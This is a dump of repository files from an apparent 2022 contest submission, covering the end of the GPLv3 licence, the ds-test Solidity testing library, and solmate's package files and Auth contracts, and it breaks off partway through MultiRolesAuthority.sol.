License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/Makefile",
    "content": "all:; dapp build\n\ntest:\n\t-dapp --use solc:0.4.23 build\n\t-dapp --use solc:0.4.26 build\n\t-dapp --use solc:0.5.17 build\n\t-dapp --use solc:0.6.12 build\n\t-dapp --use solc:0.7.5  build\n\ndemo:\n\tDAPP_SRC=demo dapp --use solc:0.7.5 build\n\t-hevm dapp-test --verbose 3\n\n.PHONY: test demo\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/default.nix",
    "content": "{ solidityPackage, dappsys }: solidityPackage {\n  name = \"ds-test\";\n  src = ./src;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/demo/demo.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity >=0.4.23;\n\nimport \"../src/test.sol\";\n\ncontract DemoTest is DSTest {\n    function test_this() public pure {\n        require(true);\n    }\n    function test_logs() public {\n        emit log(\"-- log(string)\");\n        emit log(\"a string\");\n\n        emit log(\"-- log_named_uint(string, uint)\");\n        log_named_uint(\"uint\", 512);\n\n        emit log(\"-- log_named_int(string, int)\");\n        log_named_int(\"int\", -512);\n\n        emit log(\"-- log_named_address(string, address)\");\n        log_named_address(\"address\", address(this));\n\n        emit log(\"-- log_named_bytes32(string, bytes32)\");\n        log_named_bytes32(\"bytes32\", \"a string\");\n\n        emit log(\"-- log_named_bytes(string, bytes)\");\n        log_named_bytes(\"bytes\", hex\"cafefe\");\n\n        emit log(\"-- log_named_string(string, string)\");\n        log_named_string(\"string\", \"a string\");\n\n        emit log(\"-- log_named_decimal_uint(string, uint, uint)\");\n        log_named_decimal_uint(\"decimal uint\", 1.0e18, 18);\n\n        emit log(\"-- log_named_decimal_int(string, int, uint)\");\n        log_named_decimal_int(\"decimal int\", -1.0e18, 18);\n    }\n    event log_old_named_uint(bytes32,uint);\n    function test_old_logs() public {\n        log_old_named_uint(\"key\", 500);\n        log_named_bytes32(\"bkey\", \"val\");\n    }\n    function test_trace() public view {\n        this.echo(\"string 1\", \"string 2\");\n    }\n    function test_multiline() public {\n        emit log(\"a multiline\\\\n\" \"string\");\n        emit log(\"a multiline \" \"string\");\n        log_bytes(\"a string\");\n        log_bytes(\"a multiline\\n\" \"string\");\n        log_bytes(\"a multiline\\\\n\" \"string\");\n        emit log(unicode\"Ώ\");\n        logs(hex\"0000\");\n        log_named_bytes(\"0x0000\", hex\"0000\");\n        logs(hex\"ff\");\n    }\n    function echo(string memory s1, string memory s2) public pure\n        returns (string memory, string memory)\n    {\n        return (s1, s2);\n    }\n\n    function prove_this(uint x) public {\n        log_named_uint(\"sym x\", x);\n        assertGt(x + 1, 0);\n    }\n\n    function test_logn() public {\n        assembly {\n            log0(0x01, 0x02)\n            log1(0x01, 0x02, 0x03)\n            log2(0x01, 0x02, 0x03, 0x04)\n            log3(0x01, 0x02, 0x03, 0x04, 0x05)\n        }\n    }\n\n    event MyEvent(uint, uint indexed, uint, uint indexed);\n    function test_events() public {\n        emit MyEvent(1, 2, 3, 4);\n    }\n\n    function test_asserts() public {\n        string memory err = \"this test has failed!\";\n        emit log(\"## assertTrue(bool)\\n\");\n        assertTrue(false);\n        emit log(\"\\n\");\n        assertTrue(false, err);\n\n        emit log(\"\\n## assertEq(address,address)\\n\");\n        assertEq(address(this), msg.sender);\n        emit log(\"\\n\");\n        assertEq(address(this), msg.sender, err);\n\n        emit log(\"\\n## assertEq32(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(uint,uint)\\n\");\n        assertEq(uint(0), 1);\n        emit log(\"\\n\");\n        assertEq(uint(0), 1, err);\n\n        emit log(\"\\n## assertEq(int,int)\\n\");\n        assertEq(-1, -2);\n        emit log(\"\\n\");\n        assertEq(-1, -2, err);\n\n        emit log(\"\\n## assertEqDecimal(int,int,uint)\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertEqDecimal(uint,uint,uint)\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGt(uint,uint)\\n\");\n        assertGt(uint(0), 0);\n        emit log(\"\\n\");\n        assertGt(uint(0), 0, err);\n\n        emit log(\"\\n## assertGt(int,int)\\n\");\n        assertGt(-1, -1);\n        emit log(\"\\n\");\n        assertGt(-1, -1, err);\n\n        emit log(\"\\n## assertGtDecimal(int,int,uint)\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGtDecimal(uint,uint,uint)\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGe(uint,uint)\\n\");\n        assertGe(uint(0), 1);\n        emit log(\"\\n\");\n        assertGe(uint(0), 1, err);\n\n        emit log(\"\\n## assertGe(int,int)\\n\");\n        assertGe(-1, 0);\n        emit log(\"\\n\");\n        assertGe(-1, 0, err);\n\n        emit log(\"\\n## assertGeDecimal(int,int,uint)\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGeDecimal(uint,uint,uint)\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLt(uint,uint)\\n\");\n        assertLt(uint(0), 0);\n        emit log(\"\\n\");\n        assertLt(uint(0), 0, err);\n\n        emit log(\"\\n## assertLt(int,int)\\n\");\n        assertLt(-1, -1);\n        emit log(\"\\n\");\n        assertLt(-1, -1, err);\n\n        emit log(\"\\n## assertLtDecimal(int,int,uint)\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLtDecimal(uint,uint,uint)\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLe(uint,uint)\\n\");\n        assertLe(uint(1), 0);\n        emit log(\"\\n\");\n        assertLe(uint(1), 0, err);\n\n        emit log(\"\\n## assertLe(int,int)\\n\");\n        assertLe(0, -1);\n        emit log(\"\\n\");\n        assertLe(0, -1, err);\n\n        emit log(\"\\n## assertLeDecimal(int,int,uint)\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLeDecimal(uint,uint,uint)\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertEq(string,string)\\n\");\n        string memory s1 = \"string 1\";\n        string memory s2 = \"string 2\";\n        assertEq(s1, s2);\n        emit log(\"\\n\");\n        assertEq(s1, s2, err);\n\n        emit log(\"\\n## assertEq0(bytes,bytes)\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\");\n        log(\"\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\", err);\n    }\n}\n\ncontract DemoTestWithSetUp {\n    function setUp() public {\n    }\n    function test_pass() public pure {\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/src/test.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\npragma solidity >=0.4.23;\n\ncontract DSTest {\n    event log                    (string);\n    event logs                   (bytes);\n\n    event log_address            (address);\n    event log_bytes32            (bytes32);\n    event log_int                (int);\n    event log_uint               (uint);\n    event log_bytes              (bytes);\n    event log_string             (string);\n\n    event log_named_address      (string key, address val);\n    event log_named_bytes32      (string key, bytes32 val);\n    event log_named_decimal_int  (string key, int val, uint decimals);\n    event log_named_decimal_uint (string key, uint val, uint decimals);\n    event log_named_int          (string key, int val);\n    event log_named_uint         (string key, uint val);\n    event log_named_bytes        (string key, bytes val);\n    event log_named_string       (string key, string val);\n\n    bool public IS_TEST = true;\n    bool public failed;\n\n    address constant HEVM_ADDRESS =\n        address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));\n\n    modifier mayRevert() { _; }\n    modifier testopts(string memory) { _; }\n\n    function fail() internal {\n        failed = true;\n    }\n\n    modifier logs_gas() {\n        uint startGas = gasleft();\n        _;\n        uint endGas = gasleft();\n        emit log_named_uint(\"gas\", startGas - endGas);\n    }\n\n    function assertTrue(bool condition) internal {\n        if (!condition) {\n            emit log(\"Error: Assertion Failed\");\n            fail();\n        }\n    }\n\n    function assertTrue(bool condition, string memory err) internal {\n        if (!condition) {\n            emit log_named_string(\"Error\", err);\n            assertTrue(condition);\n        }\n    }\n\n    function assertEq(address a, address b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [address]\");\n            emit log_named_address(\"  Expected\", b);\n            emit log_named_address(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(address a, address b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function assertEq(bytes32 a, bytes32 b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [bytes32]\");\n            emit log_named_bytes32(\"  Expected\", b);\n            emit log_named_bytes32(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(bytes32 a, bytes32 b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq32(bytes32 a, bytes32 b) internal {\n        assertEq(a, b);\n    }\n    function assertEq32(bytes32 a, bytes32 b, string memory err) internal {\n        assertEq(a, b, err);\n    }\n\n    function assertEq(int a, int b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [int]\");\n            emit log_named_int(\"  Expected\", b);\n            emit log_named_int(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(int a, int b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq(uint a, uint b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", b);\n            emit log_named_uint(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(uint a, uint b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Expected\", b, decimals);\n            emit log_named_decimal_int(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Expected\", b, decimals);\n            emit log_named_decimal_uint(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGt(uint a, uint b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(uint a, uint b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGt(int a, int b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(int a, int b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGe(uint a, uint b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(uint a, uint b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGe(int a, int b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(int a, int b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLt(uint a, uint b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(uint a, uint b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLt(int a, int b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(int a, int b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLe(uint a, uint b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(uint a, uint b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLe(int a, int b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(int a, int b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLeDecimal(a, b, decimals);\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertEq(string memory a, string memory b) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log(\"Error: a == b not satisfied [string]\");\n            emit log_named_string(\"  Value a\", a);\n            emit log_named_string(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertEq(string memory a, string memory b, string memory err) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {\n        ok = true;\n        if (a.length == b.length) {\n            for (uint i = 0; i < a.length; i++) {\n                if (a[i] != b[i]) {\n                    ok = false;\n                }\n            }\n        } else {\n            ok = false;\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b) internal {\n        if (!checkEq0(a, b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", a);\n            emit log_named_bytes(\"    Actual\", b);\n            fail();\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b, string memory err) internal {\n        if (!checkEq0(a, b)) {\n            emit log_named_string(\"Error\", err);\n            assertEq0(a, b);\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/package.json",
    "content": "{\n  \"name\": \"@rari-capital/solmate\",\n  \"license\": \"AGPL-3.0-only\",\n  \"version\": \"6.0.0\",\n  \"description\": \"Modern, opinionated and gas optimized building blocks for smart contract development.\",\n  \"files\": [\n    \"src/**/*.sol\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/Rari-Capital/solmate.git\"\n  },\n  \"devDependencies\": {\n    \"prettier\": \"^2.3.1\",\n    \"prettier-plugin-solidity\": \"^1.0.0-beta.13\"\n  },\n  \"scripts\": {\n    \"lint\": \"prettier --write src/**/*.sol\"\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/shell.nix",
    "content": "let\n  pkgs = import (builtins.fetchGit rec {\n    name = \"dapptools-${rev}\";\n    url = https://github.com/dapphub/dapptools;\n    rev = \"fb9476ded759da44c449eb391cc67bfb0df61112\";\n  }) {};\n\nin\n  pkgs.mkShell {\n    src = null;\n    name = \"rari-capital-solmate\";\n    buildInputs = with pkgs; [\n      pkgs.dapp\n    ];\n  }\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/auth/Auth.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)\n/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)\nabstract contract Auth {\n    event OwnerUpdated(address indexed user, address indexed newOwner);\n\n    event AuthorityUpdated(address indexed user, Authority indexed newAuthority);\n\n    address public owner;\n\n    Authority public authority;\n\n    constructor(address _owner, Authority _authority) {\n        owner = _owner;\n        authority = _authority;\n\n        emit OwnerUpdated(msg.sender, _owner);\n        emit AuthorityUpdated(msg.sender, _authority);\n    }\n\n    modifier requiresAuth() {\n        require(isAuthorized(msg.sender, msg.sig), \"UNAUTHORIZED\");\n\n        _;\n    }\n\n    function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {\n        Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.\n\n        // Checking if the caller is the owner only after calling the authority saves gas in most cases, but be\n        // aware that this makes protected functions uncallable even to the owner if the authority is out of order.\n        return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;\n    }\n\n    function setAuthority(Authority newAuthority) public virtual {\n        // We check if the caller is the owner first because we want to ensure they can\n        // always swap out the authority even if it's reverting or using up a lot of gas.\n        require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));\n\n        authority = newAuthority;\n\n        emit AuthorityUpdated(msg.sender, newAuthority);\n    }\n\n    function setOwner(address newOwner) public virtual requiresAuth {\n        owner = newOwner;\n\n        emit OwnerUpdated(msg.sender, newOwner);\n    }\n}\n\n/// @notice A generic interface for a contract which provides authorization data to an Auth instance.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)\n/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)\ninterface Authority {\n    function canCall(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) external view returns (bool);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/auth/authorities/MultiRolesAuthority.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {Auth, Authority} from \"../Auth.sol\";\n\n/// @notice Flexible and target agnostic role based Authority that supports up to 256 roles.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/MultiRolesAuthority.sol)\ncontract MultiRolesAuthority is Auth, Authority {\n    /*///////////////////////////////////////////////////////////////\n                                  EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);\n\n    event PublicCapabilityUpdated(bytes4 indexed functionSig, bool enabled);\n\n    event RoleCapabilityUpdated(uint8 indexed role, bytes4 indexed functionSig, bool enabled);\n\n    event TargetCustomAuthorityUpdated(address indexed target, Authority indexed authority);\n\n    /*///////////////////////////////////////////////////////////////\n                               CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}\n\n    /*///////////////////////////////////////////////////////////////\n                       CUSTOM TARGET AUTHORITY STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => Authority) public getTargetCustomAuthority;\n\n    